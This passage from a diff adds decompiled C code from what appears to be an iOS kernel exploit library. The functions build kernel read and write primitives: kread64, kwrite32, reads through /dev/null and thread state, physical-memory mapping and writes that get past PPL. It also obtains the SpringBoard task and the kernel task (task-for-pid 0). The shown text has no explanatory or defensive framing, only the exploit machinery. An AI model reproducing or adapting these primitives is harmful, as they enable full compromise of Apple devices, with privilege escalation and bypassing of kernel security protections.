pthread_from_mach_thread_np(v2); + v4 = *(_DWORD *)(a1 + 208); + if ( v4 + 1 >= 2 ) + { + semaphore_signal(v4); + semaphore_destroy(mach_task_self_, *(_DWORD *)(a1 + 208)); + *(_DWORD *)(a1 + 208) = 0; + if ( !v3 ) + goto LABEL_5; + } + else if ( !v3 ) + { +LABEL_5: + *(_DWORD *)(a1 + 172) = 0; + goto LABEL_6; + } + pthread_join(v3, 0); + goto LABEL_5; + } +LABEL_6: + v5 = *(_QWORD *)(a1 + 176); + if ( v5 ) + { + v6 = *(_QWORD *)(a1 + 184); + if ( v6 ) + { + vm_deallocate(mach_task_self_, v5, v6); + *(_QWORD *)(a1 + 176) = 0; + *(_QWORD *)(a1 + 184) = 0; + } + } + *(_QWORD *)(a1 + 200) = 0; + v7 = *(_DWORD *)(a1 + 88); + if ( v7 + 1 >= 2 ) + { + mach_port_deallocate(mach_task_self_, v7); + *(_DWORD *)(a1 + 88) = 0; + } + return 0; +} + +//----- (00000000000281F0) ---------------------------------------------------- +__int64 __fastcall sub_281F0(struct_krwCtx *a1) +{ + uint64_t qword1D48; // x20 + kern_return_t v4; // w0 + mach_port_name_t name; // [xsp+Ch] [xbp-14h] BYREF + + qword1D48 = a1->qword1D48; + if ( !qword1D48 ) + return 708609; + if ( (unsigned int)(*(_DWORD *)(qword1D48 + 112) + 1) < 2 ) + return 0; + name = 0; + if ( (unsigned int)sub_28288((__int64)a1, &name) ) + return sub_1C8B0(a1, 0x14u, *(_DWORD *)(qword1D48 + 112)); + v4 = mach_port_deallocate(mach_task_self_, name); + if ( v4 ) + return v4 | 0x80000000; + else + return 0; +} + +//----- (0000000000028288) ---------------------------------------------------- +__int64 __fastcall sub_28288(__int64 a1, mach_port_t *a2) +{ + __int64 v3; // x20 + kern_return_t v4; // w0 + size_t v6; // [xsp+0h] [xbp-70h] BYREF + mach_port_t connection; // [xsp+Ch] [xbp-64h] BYREF + _OWORD outputStruct[4]; // [xsp+10h] [xbp-60h] BYREF + + connection = 0; + v6 = 64; + v3 = sub_1BE0C(a1, 0x14u, &connection); + if ( !(_DWORD)v3 ) + { + memset(outputStruct, 0, sizeof(outputStruct)); + v4 = IOConnectCallStructMethod(connection, 1u, 0, 0, outputStruct, &v6); + if ( v4 ) + { + v3 = v4 | 0x80000000; + } + else + { + v3 = 0; + *a2 = connection; + connection = 0; + } + } + if ( connection + 1 >= 2 ) + mach_port_deallocate(mach_task_self_, connection); + return v3; +} + +//----- (0000000000028364) ---------------------------------------------------- +__int64 __fastcall sub_28364(struct_krwCtx *a1) +{ + uint64_t v1; // x24 + __int64 v3; // x20 + unsigned __int64 v4; // x0 + __int64 v5; // x0 + unsigned __int64 v6; // x0 + unsigned __int64 v7; // x0 + unsigned __int64 v8; // x21 + __int64 v9; // x25 + const CFDictionaryRef *v10; // x0 + io_service_t MatchingService; // w0 + io_object_t v12; // w22 + kern_return_t v13; // w0 + char v15; // w27 + unsigned __int64 v16; // x0 + unsigned __int64 v17; // x22 + __int64 v18; // x0 + __int64 v19; // x21 + unsigned __int64 v20; // x1 + __int64 v21; // x0 + __int64 v22; // x0 + __int64 v23; // x23 + int v24; // w8 + __int64 v25; // x8 + int v26; // w21 + __int64 v27; // x8 + __int64 v28; // x9 + __int64 v29; // x8 + __int64 v30; // [xsp+0h] [xbp-90h] BYREF + io_connect_t connect; // [xsp+Ch] [xbp-84h] BYREF + __int64 v32; // [xsp+10h] [xbp-80h] BYREF + __int64 v33; // [xsp+18h] [xbp-78h] BYREF + __int64 v34; // [xsp+20h] [xbp-70h] BYREF + __int64 v35; // [xsp+28h] [xbp-68h] BYREF + __int64 v36; // [xsp+30h] [xbp-60h] BYREF + __int64 v37; // [xsp+38h] [xbp-58h] BYREF + + v34 = 0; + v35 = 0; + v32 = 0; + v33 = 0; + connect = 0; + v1 = a1->qword1D48; + if ( !v1 ) + { + v3 = 708642; + goto LABEL_19; + } + if ( (unsigned int)sub_28288((__int64)a1, &connect) ) + { + v3 = 163878; + v37 = 0; + v4 = sub_32D24((__int64)a1); + if ( !v4 ) + goto LABEL_19; + v5 = krw_task_for_name((__int64)a1, v4, "SpringBoard"); + if ( !v5 ) + goto LABEL_19; + v6 = sub_33ED8(a1, v5); + if ( !v6 ) + goto LABEL_19; + if ( !kread64_outptr(a1, v6, (unsigned __int64 *)&v36) ) + goto LABEL_47; + if ( !validate_addr((__int64)a1, v36) ) + goto LABEL_19; + v7 = sub_33FFC(a1, mach_task_self_); + if ( !v7 ) + goto LABEL_19; + v8 = v7; + if ( !kread64_outptr(a1, v7, (unsigned __int64 *)&v37) ) + { +LABEL_47: + v3 = 163855; + goto LABEL_19; + } + if ( !validate_addr((__int64)a1, v37) ) + goto LABEL_19; + if ( (v37 ^ (unsigned __int64)v36) >> 32 ) + { + v3 = 163857; + goto LABEL_19; + } + v9 = 163856; + if ( !(unsigned int)kwritebuf_universal(a1, v8, &v36, 4) ) + goto LABEL_72; + v10 = IOServiceMatching("IOGPU"); + MatchingService = IOServiceGetMatchingService(kIOMasterPortDefault, v10); + if ( MatchingService + 1 < 2 ) + { + if ( (unsigned int)kwritebuf_universal(a1, v8, &v37, 4) ) + v3 = 708625; + else + v3 = 163856; + goto LABEL_19; + } + v12 = MatchingService; + v13 = IOServiceOpen(MatchingService, mach_task_self_, 1u, &connect); + if ( v13 ) + { + if ( v13 <= -536870213 ) + v3 = v13 | 0x80000000; + else + v3 = v13 & 0xFFF | 0x70000000u; + } + else + { + v3 = 0; + } + v26 = kwritebuf_universal(a1, v8, &v37, 4); + IOObjectRelease(v12); + if ( !v26 ) + goto LABEL_72; + if ( (_DWORD)v3 ) + goto LABEL_19; + v15 = 0; + } + else + { + if ( *(_QWORD *)(v1 + 80) && *(_QWORD *)(v1 + 88) && *(_QWORD *)(v1 + 96) && *(_QWORD *)(v1 + 104) ) + goto LABEL_26; + v15 = 1; + } + v16 = port_name_to_kaddr(a1, connect); + if ( !v16 ) + { + v3 = 163877; + goto LABEL_19; + } + v17 = v16; + v9 = 163855; + if ( !kread64_outptr(a1, v16 + 288, (unsigned __int64 *)&v35) ) + goto LABEL_72; + if ( !validate_addr((__int64)a1, v35) ) + goto LABEL_46; + v18 = sub_21844((__int64)a1, v35 + 208); + if ( !v18 ) + goto LABEL_46; + v19 = v18; + if ( !kread64_outptr(a1, v35 + 208, (unsigned __int64 *)&v34) + || !kread64_outptr(a1, v35 + 16, (unsigned __int64 *)&v33) ) + { + goto LABEL_72; + } + if ( !validate_addr((__int64)a1, v33) ) + goto LABEL_46; + if ( !kread64_outptr(a1, v33 + 16, (unsigned __int64 *)&v32) ) + goto LABEL_72; + if ( !validate_addr((__int64)a1, v32) + || (v20 = a1->gap19210) == 0 + || (v21 = maybe_ipc_port_get_kobject(a1, v20)) == 0 + || (v22 = krw_task_for_pid_0(a1, v21, 1)) == 0 ) + { +LABEL_46: + v3 = 163878; + goto LABEL_19; + } + v23 = v22; + v24 = a1->xnuMajorVersion; + if ( v24 != 8792 && v24 != 10002 && v24 != 8796 ) + goto LABEL_65; + if ( krw_ctx_has_flag(a1, 84934656) ) + { + v25 = 984; + goto LABEL_60; + } + if ( krw_ctx_has_flag(a1, 540673) ) + { + v25 = 960; + goto LABEL_60; + } + if ( !krw_ctx_has_flag(a1, 8768) ) + { +LABEL_65: + v3 = 163884; + goto LABEL_19; + } + v25 = 936; +LABEL_60: + if ( !kreadbuf(a1, v25 + v23, 8u, &v30, 1) ) + goto LABEL_72; + v27 = v30; + v3 = 163857; + if ( v30 && (v30 & 7) == 0 ) + { + if ( (v15 & 1) != 0 ) + { +LABEL_64: + v28 = v34; + *(_QWORD *)(v1 + 80) = v27; + *(_QWORD *)(v1 + 88) = v28; + v29 = v32; + *(_QWORD *)(v1 + 96) = v19; + *(_QWORD *)(v1 + 104) = v29; +LABEL_26: + v3 = 0; + *(_DWORD *)(v1 + 112) = connect; + *(_BYTE *)(v1 + 74) = 1; + return v3; + } + v3 = sub_36000((__int64)a1, v23); + if ( !(_DWORD)v3 ) + { + v37 = v23; + if ( !noppl_kwritebuf((__int64)a1, v35 + 80, &v37, (unsigned int)a1->int168, 1) ) + { +LABEL_73: + v3 = 163856; + goto LABEL_19; + } + if ( kread64_outptr(a1, v17 + 136, (unsigned __int64 *)&v36) ) + { + v3 = 163878; + if ( !validate_addr((__int64)a1, v36) ) + goto LABEL_19; + v37 = 0; + if ( noppl_kwritebuf((__int64)a1, v36 + 8, &v37, (unsigned int)a1->int168, 1) ) + { + v27 = v30; + goto LABEL_64; + } + goto LABEL_73; + } +LABEL_72: + v3 = v9; + } + } +LABEL_19: + if ( connect + 1 >= 2 ) + mach_port_deallocate(mach_task_self_, connect); + return v3; +} + +//----- (0000000000028840) ---------------------------------------------------- +bool __fastcall kread64(struct_krwCtx *a1, unsigned __int64 vaddr, unsigned __int64 *out) +{ + _BOOL8 v5; // x20 + unsigned __int64 v6; // x1 + + v5 = kread64_internal(a1, vaddr, out); + if ( v5 ) + { + v6 = *out; + if ( (a1->flags & 0x5584001) != 0 ) + v6 = krw_xpac_vaddr(a1, v6); + *out = v6; + } + return v5; +} + +//----- (00000000000288A4) ---------------------------------------------------- +bool __fastcall sub_288A4(__int64 a1, unsigned __int64 a2, __int64 a3) +{ + __int64 v4; // [xsp+8h] [xbp-8h] BYREF + + v4 = a3; + return noppl_kwritebuf(a1, a2, &v4, *(unsigned int *)(a1 + 360), 1); +} + +//----- (00000000000288D4) ---------------------------------------------------- +__int64 __fastcall sub_288D4(struct_krwCtx *a1) +{ + __int64 v2; // x28 + __int64 v3; // x21 + __int64 v4; // x27 + unsigned __int64 *v5; // x0 + unsigned __int64 *v6; // x20 + void *(__cdecl *v7)(void *); // x0 + int v8; // w0 + mach_port_t v9; // w0 + unsigned int v10; // w23 + int v11; // w22 + mach_timespec_t v12; // x1 + unsigned __int64 v13; // x0 + int v14; // w8 + unsigned __int64 v15; // x9 + pthread_t *v16; // x25 + __int64 *v17; // x24 + __int64 v18; // x23 + unsigned __int64 v20; // x0 + unsigned __int64 v21; // x22 + vm_address_t v22; // x8 + __int64 v23; // x0 + __int64 v24; // x0 + int v25; // w8 + __int64 v26; // x0 + vm_size_t v27; // [xsp+0h] [xbp-180h] + vm_address_t v28; // [xsp+8h] [xbp-178h] BYREF + __int128 v29; // [xsp+10h] [xbp-170h] BYREF + __int128 v30; // [xsp+20h] [xbp-160h] + __int128 v31; // [xsp+30h] [xbp-150h] + __int128 v32; // [xsp+40h] [xbp-140h] + __int128 v33; // [xsp+50h] [xbp-130h] + __int128 v34; // [xsp+60h] [xbp-120h] + __int128 v35; // [xsp+70h] [xbp-110h] + __int128 v36; // [xsp+80h] [xbp-100h] + __int128 v37; // [xsp+90h] [xbp-F0h] BYREF + __int128 v38; // [xsp+A0h] [xbp-E0h] + __int128 v39; // [xsp+B0h] [xbp-D0h] + __int128 v40; // [xsp+C0h] [xbp-C0h] + __int128 v41; // [xsp+D0h] [xbp-B0h] + __int128 v42; // [xsp+E0h] [xbp-A0h] + __int128 v43; // [xsp+F0h] [xbp-90h] + __int128 v44; // [xsp+100h] [xbp-80h] + + v2 = 0; + v27 = vm_page_size; + v28 = 0; + v3 = 163878; + v43 = 0u; + v44 = 0u; + v41 = 0u; + v42 = 0u; + v39 = 0u; + v40 = 0u; + v37 = 0u; + v38 = 0u; + v35 = 0u; + v36 = 0u; + v33 = 0u; + v34 = 0u; + v31 = 0u; + v32 = 0u; + v4 = 163848; + v29 = 0u; + v30 = 0u; + while ( 1 ) + { + v5 = (unsigned __int64 *)calloc(1u, 0x78u); + *((_QWORD *)&v29 + v2) = v5; + if ( !v5 ) + { + v4 = 708617; +LABEL_20: + v6 = 0; + goto LABEL_22; + } + v6 = v5; + v7 = (void *(__cdecl *)(void *))nullsub_1(sub_2B03C); + v8 = pthread_create((pthread_t *)&v37 + v2, 0, v7, v6); + if ( v8 ) + { + v6 = 0; + if ( v8 >= 0 ) + v14 = v8; + else + v14 = -v8; + v4 = v14 | 0x40000000u; + goto LABEL_22; + } + v9 = pthread_mach_thread_np(*((pthread_t *)&v37 + v2)); + if ( v9 + 1 < 2 ) + goto LABEL_20; + v10 = v9; + *((_DWORD *)v6 + 12) = v9; + if ( !*((_BYTE *)v6 + 73) ) + break; +LABEL_9: + v13 = port_name_to_kaddr(a1, v10); + if ( !v13 ) + { + v4 = 163878; + goto LABEL_20; + } + if ( (((v13 + 1520) ^ v13) & ~a1->qword188) == 0 ) + { + v4 = 0; + v15 = *((_QWORD *)&v37 + v2); + *((_QWORD *)&v29 + v2) = 0; + *((_QWORD *)&v37 + v2) = 0; + LODWORD(v2) = v2 + 1; + *v6 = v13; + v6[5] = v15; + goto LABEL_22; + } + if ( ++v2 == 16 ) + { + v6 = 0; + v4 = 708625; + goto LABEL_23; + } + } + v11 = 1002; + while ( --v11 ) + { + v12 = (mach_timespec_t)0xF424000000000LL; + semaphore_timedwait(a1->semaphore, v12); + if ( *((_BYTE *)v6 + 73) ) + goto LABEL_9; + } + v6 = 0; + v4 = 4097; +LABEL_22: + if ( (int)v2 <= 0 ) + goto LABEL_29; +LABEL_23: + v16 = (pthread_t *)&v37; + v17 = (__int64 *)&v29; + v2 = (unsigned int)v2; + do + { + v18 = *v17; + if ( *v17 && (unsigned int)(*(_DWORD *)(v18 + 48) + 1) >= 2 && *v16 ) + { + *(_BYTE *)(v18 + 72) = 1; + __ulock_wake(); + pthread_join(*v16, 0); + *v16 = 0; + free((void *)v18); + *v17 = 0; + } + ++v16; + ++v17; + --v2; + } + while ( v2 ); +LABEL_29: + if ( (_DWORD)v4 ) + return v4; + a1->qword1D48 = (uint64_t)v6; + if ( !v6 ) + return 708609; + v20 = sub_28CE0((__int64)a1, *v6, 1); + v6[1] = v20; + if ( v20 ) + { + v21 = *v6; + v3 = physmap_maybe((__int64)a1, &v28, v27, v20); + if ( !(_DWORD)v3 ) + { + v22 = v28; + v6[2] = v28; + v6[3] = v27; + v6[4] = (a1->qword188 & v21) + v22; + v3 = sub_39A24((__int64)a1, 0); + if ( !(_DWORD)v3 ) + { + v23 = a1->gap1921[2]; + v3 = 708609; + if ( v23 ) + { + sub_19D10(v23, &v37); + *((_QWORD *)&v37 + 1) = *((_QWORD *)&v37 + 1) + v38 - 0x20000; + *(_QWORD *)&v38 = 0x20000; + v29 = v37; + *(_QWORD *)&v30 = 0x20000; + v24 = kernel_pattern_scan((__int64)&v29, "E8 0B 80 52", 0); + if ( !v24 ) + return 708625; + v25 = (unsigned __int16)((unsigned int)sub_19ACC((__int64 *)v37, (__int64 *)(v24 - 8)) >> 5); + if ( (unsigned int)(v25 - 1) >= 0xBFF ) + return 163857; + *((_DWORD *)v6 + 14) = v25; + if ( a1->someLargeNumber < 0x27120F04B00003LL || (a1->flags & 0x20) == 0 ) + { + if ( krw_ctx_has_flag(a1, 89670145) ) + { + v26 = sub_38034((int *)a1, v6[4], 1, 1, 96); +LABEL_47: + v3 = v26; + if ( (_DWORD)v26 ) + return v3; + } + return 0; + } + v26 = sub_38158(a1, v6[1], 1, 1, 96); + goto LABEL_47; + } + } + } + } + return v3; +} +// 19728: using guessed type __int64 __fastcall nullsub_1(_QWORD); + +//----- (0000000000028CE0) ---------------------------------------------------- +unsigned __int64 __fastcall sub_28CE0(__int64 a1, unsigned __int64 a2, __int64 a3) +{ + int v5; // w0 + _OWORD v7[2]; // [xsp+0h] [xbp-40h] BYREF + __int64 v8; // [xsp+20h] [xbp-20h] + + v8 = 0; + memset(v7, 0, sizeof(v7)); + sub_213D4(a1, a2, (__int64)v7, a3); + if ( v5 ) + return *(_QWORD *)(a1 + 392) & a2 | v8 & 0xFFFFFFFFC000LL; + else + return 0; +} +// 28D14: variable 'v5' is possibly undefined + +//----- (0000000000028D44) ---------------------------------------------------- +__int64 __fastcall sub_28D44(__int64 a1) +{ + __int64 v1; // x21 + _QWORD *v2; // x19 + vm_address_t v4; // x1 + vm_size_t v5; // x2 + + v1 = 708609; + v2 = *(_QWORD **)(a1 + 7496); + if ( v2 ) + { + v4 = v2[2]; + if ( !v4 + || (v5 = v2[3]) == 0 + || (vm_deallocate(mach_task_self_, v4, v5), v2[2] = 0, v2[3] = 0, (v2 = *(_QWORD **)(a1 + 7496)) != 0) ) + { + *(_QWORD *)(a1 + 7496) = 0; + *((_BYTE *)v2 + 72) = 1; + __ulock_wake(); + pthread_join((pthread_t)v2[5], 0); + *(_OWORD *)v2 = 0u; + *((_OWORD *)v2 + 1) = 0u; + *((_OWORD *)v2 + 2) = 0u; + *((_OWORD *)v2 + 3) = 0u; + *((_OWORD *)v2 + 4) = 0u; + *((_OWORD *)v2 + 5) = 0u; + *((_OWORD *)v2 + 6) = 0u; + v2[14] = 0; + free(v2); + return 0; + } + } + return v1; +} + +//----- (0000000000028DFC) ---------------------------------------------------- +bool __fastcall kwrite32(__int64 a1, mach_vm_address_t address, int a3) +{ + __int64 (__fastcall *v5)(__int64, mach_vm_address_t, int *, __int64, __int64); // x8 + int v6; // w0 + kern_return_t v7; // w21 + vm_map_t v9; // w0 + int v10; // [xsp+8h] [xbp-28h] BYREF + vm_machine_attribute_val_t value; // [xsp+Ch] [xbp-24h] BYREF + + v10 = a3; + v5 = *(__int64 (__fastcall **)(__int64, mach_vm_address_t, int *, __int64, __int64))(a1 + 64); + if ( v5 ) + { + v6 = v5(a1, address, &v10, 4, 1); + goto LABEL_3; + } + if ( (unsigned int)(*(_DWORD *)(a1 + 172) + 1) >= 2 && *(_QWORD *)(a1 + 216) ) + { + v6 = sub_28F90((struct_krwCtx *)a1, address, (__int64)&v10, 4u, 1); + } + else if ( (unsigned int)(*(_DWORD *)(a1 + 232) + 1) >= 2 && *(_QWORD *)(a1 + 248) && *(_QWORD *)(a1 + 256) ) + { + v6 = sub_271B0(a1, address, (__int64)&v10, 4u, 1); + } + else + { + if ( *(_DWORD *)(a1 + 6448) == -1 || *(_DWORD *)(a1 + 6452) == -1 ) + goto LABEL_22; + if ( *(_DWORD *)(a1 + 6464) != -1 && *(_QWORD *)(a1 + 536) ) + { + v6 = sub_268F8(a1, address, (__int64)&v10, 4u, 1); + goto LABEL_3; + } + if ( *(_DWORD *)(a1 + 6456) == -1 || *(_DWORD *)(a1 + 6460) == -1 ) + { +LABEL_22: + v7 = mach_vm_write(*(_DWORD *)(a1 + 6424), address, (vm_offset_t)&v10, 4u); + v9 = *(_DWORD *)(a1 + 6424); + value = 7; + mach_vm_machine_attribute(v9, address, 4u, 1u, &value); + return v7 == 0; + } + v6 = sub_25498((struct_krwCtx *)a1, address, &v10, 4u, 1); + } +LABEL_3: + if ( v6 ) + v7 = 5; + else + v7 = 0; + return v7 == 0; +} + +//----- (0000000000028F90) ---------------------------------------------------- +__int64 __fastcall sub_28F90(struct_krwCtx *a1, unsigned __int64 a2, __int64 a3, unsigned int a4, int a5) +{ + __int64 v5; // x25 + uint64_t qword1D48; // x8 + unsigned int v8; // w26 + unsigned int v12; // w24 + __int64 v13; // x8 + __int64 v14; // x21 + unsigned __int64 v15; // x23 + __int64 v16; // x0 + size_t v17; // x2 + __int64 v18; // x25 + unsigned int v19; // w28 + unsigned __int64 v20; // x19 + unsigned __int64 v21; // x8 + __int64 v22; // x20 + unsigned int v23; // w21 + unsigned __int64 v24; // x24 + __int64 v25; // x0 + size_t v26; // x2 + int v27; // w19 + int v28; // w23 + vm_size_t v29; // x20 + __int64 v30; // x21 + uint64_t v31; // x26 + int v32; // w9 + __int64 v33; // x8 + __int64 v34; // x9 + __int64 v35; // x19 + __int64 *v36; // x27 + int v37; // w20 + unsigned __int64 v38; // x1 + __int64 v39; // x0 + __int64 paddr; // x0 + __int64 v41; // x19 + vm_address_t v42; // x8 + int v43; // w9 + bool v44; // zf + __int64 v45; // x0 + __int64 v46; // x0 + int v47; // w8 + __int64 v48; // x19 + int v49; // w8 + unsigned int v50; // w8 + unsigned int v51; // w20 + __int64 v52; // x0 + __int64 v53; // x0 + int v54; // w0 + vm_size_t v56; // [xsp+8h] [xbp-B8h] + unsigned __int64 v57; // [xsp+10h] [xbp-B0h] + __int64 v58; // [xsp+18h] [xbp-A8h] + unsigned int v59; // [xsp+24h] [xbp-9Ch] + unsigned __int64 v60; // [xsp+28h] [xbp-98h] + unsigned __int64 v61; // [xsp+30h] [xbp-90h] + unsigned int v62; // [xsp+38h] [xbp-88h] + int v63; // [xsp+40h] [xbp-80h] BYREF + int v64; // [xsp+44h] [xbp-7Ch] BYREF + int v65; // [xsp+48h] [xbp-78h] BYREF + int v66; // [xsp+4Ch] [xbp-74h] BYREF + unsigned __int64 v67; // [xsp+50h] [xbp-70h] BYREF + __int64 v68; // [xsp+58h] [xbp-68h] BYREF + vm_address_t address; // [xsp+60h] [xbp-60h] BYREF + unsigned __int64 v70; // [xsp+68h] [xbp-58h] BYREF + + v5 = 708609; + qword1D48 = a1->qword1D48; + if ( !qword1D48 ) + return v5; + v8 = a4; + if ( ((a2 & 3) != 0 || a4 != 4) && *(_BYTE *)(qword1D48 + 74) ) + { + if ( a1->threadForKernelRead + 1 >= 2 ) + { + if ( *(_QWORD *)&a1->gap42[40] ) + { + if ( validate_addr_maybe2(a1, a2) ) + { + LODWORD(address) = -1; + if ( !a5 || (v5 = fd_open_dev_null((int *)&address), !(_DWORD)v5) ) + { + if ( v8 ) + { + v12 = 0; + while ( 1 ) + { + v70 = 0; + v13 = a2 + v12; + v14 = v13 & 7; + v15 = v13 - v14; + v16 = kreadbuf_via_dev_null_and_thread_state(a1, v13 - v14, (__int64)&v70, 8u, 0); + if ( (_DWORD)v16 ) + break; + v17 = 8 - v14 >= (unsigned __int64)(v8 - v12) ? v8 - v12 : 8 - v14; + v18 = v70; + memcpy((void *)((unsigned __int64)&v70 | v14), (const void *)(a3 + v12), v17); + if ( v18 != v70 ) + { + v16 = sub_2B0E8(a1, v15, v70); + if ( (_DWORD)v16 ) + break; + } + v12 = v12 - v14 + 8; + if ( v12 >= v8 ) + goto LABEL_19; + } + v5 = v16; + } + else + { +LABEL_19: + v5 = 0; + } + v54 = address; + goto LABEL_100; + } + } + } + } + return v5; + } + if ( !validate_addr_maybe2(a1, a2) ) + return v5; + v64 = -1; + if ( a5 ) + { + v5 = fd_open_dev_null(&v64); + if ( (_DWORD)v5 ) + return v5; + } + if ( !v8 ) + goto LABEL_97; + v61 = a2; + v19 = 0; + v59 = v8; + v58 = a3; +LABEL_25: + v20 = v8 - v19; + v63 = 0; + v21 = v61 + v19; + if ( (unsigned int)v20 >= 4 ) + { + v23 = 0; + v22 = v19; + } + else + { + v22 = v19; + if ( (((v21 + (unsigned int)v20 - 1) ^ (v21 + 3)) & ~a1->qword188) != 0 ) + v23 = 4 - v20; + else + v23 = 0; + } + v24 = v21 - v23; + v25 = kreadbuf_via_dev_null_and_thread_state(a1, v24, (__int64)&v63, 4u, 0); + if ( !(_DWORD)v25 ) + { + if ( 4 - (unsigned __int64)v23 >= v20 ) + v26 = v8 - v19; + else + v26 = 4LL - v23; + v27 = v63; + memcpy((char *)&v63 + v23, (const void *)(a3 + v22), v26); + v28 = v63; + v62 = v23; + if ( v27 == v63 ) + goto LABEL_72; + v70 = v24; + address = 0; + v29 = vm_page_size; + if ( krw_ctx_has_flag(a1, 0x4000000) ) + { + v30 = 224; + } + else if ( krw_ctx_has_flag(a1, 89670145) ) + { + v30 = 144; + } + else + { + v30 = 216; + } + v31 = a1->qword1D48; + v5 = 708609; + if ( !v31 ) + goto LABEL_66; + v32 = *(_DWORD *)(v31 + 56); + v5 = 708609; + if ( !v32 ) + goto LABEL_66; + v33 = *(_QWORD *)(v31 + 8); + v5 = 708609; + if ( !v33 ) + goto LABEL_66; + v34 = (unsigned int)(v32 + 96); + v35 = *(_QWORD *)(v31 + 32); + v60 = v33 + v34; + v56 = v29; + v57 = v33 + v30; + v36 = (__int64 *)(v35 + v34); + v37 = 11; + while ( 1 ) + { + if ( v37 != 11 ) + thread_switch(*(_DWORD *)(v31 + 48), 2, 0xAu); + if ( a1->someLargeNumber > 0x27120F04B00002LL && (a1->flags & 0x20) != 0 ) + { + v68 = 0; + sub_38D60((__int64)a1, v60, &v68, a1->int168, 0); + if ( (_DWORD)v39 ) + goto LABEL_64; + if ( !validate_addr((__int64)a1, v68) ) + goto LABEL_55; + v67 = 0; + sub_38D60((__int64)a1, v57, &v67, a1->int168, 0); + if ( (_DWORD)v39 ) + { +LABEL_64: + v5 = v39; + goto LABEL_65; + } + v38 = v67; + } + else + { + v68 = *v36; + if ( !validate_addr((__int64)a1, v68) ) + goto LABEL_55; + v38 = *(_QWORD *)(v35 + v30); + v67 = v38; + } + if ( v38 == v68 ) + { + paddr = sub_28CE0((__int64)a1, v38, 0); + v29 = v56; + if ( !paddr ) + { + v5 = 163878; + goto LABEL_66; + } + v41 = paddr; + if ( a1->someLargeNumber > 0x27120F04B00002LL && (a1->flags & 0x20) != 0 ) + { + sub_38D60((__int64)a1, paddr + 52, &v65, 4u, 0); + v5 = v45; + if ( (_DWORD)v45 ) + goto LABEL_66; + v5 = 163857; + if ( v65 != 1 ) + goto LABEL_66; + if ( v28 ) + { + v65 = v28 + 1; + physwritebuf_idk_maybe(a1, v41 + 52, &v65, 4u, 0); + v5 = v46; + if ( (_DWORD)v46 ) + goto LABEL_66; + v47 = 1; + } + else + { + v47 = 2; + } + v66 = v47; + physwritebuf_idk_maybe(a1, v41 + 56, &v66, 4u, 0); + v5 = v52; + if ( !(_DWORD)v52 ) + { + physwritebuf_idk_maybe(a1, v60 + 24, &v70, a1->int168, 0); + v5 = v53; + if ( !(_DWORD)v53 ) + { +LABEL_82: + v48 = *(_QWORD *)(v31 + 64); + if ( (unsigned int)__ulock_wake() ) + { + v49 = *__error(); + if ( v49 < 0 ) + v49 = -v49; + v5 = v49 | 0x40000000u; + } + else if ( v48 == *(_QWORD *)(v31 + 64) ) + { + v50 = 0; + while ( v50 != 1001 ) + { + v51 = v50 + 1; + thread_switch(*(_DWORD *)(v31 + 48), 2, v50 > 8); + v5 = 0; + v50 = v51; + v29 = v56; + if ( v48 != *(_QWORD *)(v31 + 64) ) + goto LABEL_66; + } + v5 = 4097; + } + else + { + v5 = 0; + } + } + } + } + else + { + v5 = physmap_maybe((__int64)a1, &address, v56, paddr); + if ( !(_DWORD)v5 ) + { + v42 = (a1->qword188 & v68) + address; + v65 = *(_DWORD *)(v42 + 52); + v5 = 163857; + if ( v65 == 1 ) + { + if ( v28 ) + { + *(_DWORD *)(v42 + 52) = v28 + 1; + v43 = 1; + } + else + { + v43 = 2; + } + v66 = v43; + *(_DWORD *)(v42 + 56) = v43; + v36[3] = v24; + goto LABEL_82; + } + } + } +LABEL_66: + if ( address ) + v44 = v29 == 0; + else + v44 = 1; + if ( !v44 ) + vm_deallocate(mach_task_self_, address, v29); + v8 = v59; + a3 = v58; + if ( (_DWORD)v5 ) + goto LABEL_99; +LABEL_72: + v19 = v19 - v62 + 4; + if ( v19 >= v8 ) + { +LABEL_97: + v5 = 0; + goto LABEL_99; + } + goto LABEL_25; + } +LABEL_55: + if ( !--v37 ) + { + v5 = 163878; +LABEL_65: + v29 = v56; + goto LABEL_66; + } + } + } + v5 = v25; +LABEL_99: + v54 = v64; +LABEL_100: + if ( v54 != -1 ) + fd_close(v54); + return v5; +} +// 292C0: variable 'v39' is possibly undefined +// 2942C: variable 'v45' is possibly undefined +// 2946C: variable 'v46' is possibly undefined +// 29530: variable 'v52' is possibly undefined +// 29554: variable 'v53' is possibly undefined + +//----- (00000000000295B4) ---------------------------------------------------- +bool __fastcall sub_295B4(__int64 krwCtx, unsigned __int64 vaddr, void *outBuf) +{ + __int64 (*v3)(void); // x8 + int v4; // w0 + int v5; // w0 + __int64 v7; // [xsp+8h] [xbp-8h] BYREF + + v3 = *(__int64 (**)(void))(krwCtx + 48); + if ( v3 ) + { + v4 = v3(); + goto LABEL_3; + } + if ( (unsigned int)(*(_DWORD *)(krwCtx + 172) + 1) >= 2 && *(_QWORD *)(krwCtx + 216) ) + { + v4 = kreadbuf_via_dev_null_and_thread_state((struct_krwCtx *)krwCtx, vaddr, (__int64)outBuf, 4u, 1); + } + else if ( (unsigned int)(*(_DWORD *)(krwCtx + 232) + 1) >= 2 && *(_QWORD *)(krwCtx + 248) && *(_QWORD *)(krwCtx + 256) ) + { + v4 = kreadbuf_via_IOConnectCallMethod(krwCtx, vaddr, (__int64)outBuf, 4u, 1); + } + else + { + if ( *(_DWORD *)(krwCtx + 6448) == -1 || *(_DWORD *)(krwCtx + 6452) == -1 ) + goto LABEL_22; + if ( *(_DWORD *)(krwCtx + 6464) != -1 && *(_QWORD *)(krwCtx + 536) ) + { + v4 = kreadbuf_via_dev_null_only(krwCtx, vaddr, (__int64)outBuf, 4u, 1); + goto LABEL_3; + } + if ( *(_DWORD *)(krwCtx + 6456) == -1 || *(_DWORD *)(krwCtx + 6460) == -1 ) + { +LABEL_22: + v5 = kreadbuf_via_tfp0( + *(_DWORD *)(krwCtx + 6424), + vaddr, + 4u, + *(unsigned int *)(krwCtx + 376), + (__int64)outBuf, + &v7); + return v5 == 0; + } + v4 = kreadbuf_via_dev_null_simple((struct_krwCtx *)krwCtx, vaddr, outBuf, 4u, 1); + } +LABEL_3: + if ( v4 ) + v5 = 5; + else + v5 = 0; + return v5 == 0; +} + +//----- (00000000000296E8) ---------------------------------------------------- +__int64 __fastcall kreadbuf_via_dev_null_and_thread_state( + struct_krwCtx *krwCtx, + unsigned __int64 vaddr, + __int64 outBuf, + unsigned int size, + int a5) +{ + __int64 v5; // x28 + unsigned __int64 vaddr_; // x22 + unsigned int iMaybe; // w8 + unsigned __int32 sizeMinusI; // w19 + __int64 iPtr; // x26 + unsigned __int64 someLargeNumber; // x8 + int v16; // w9 + 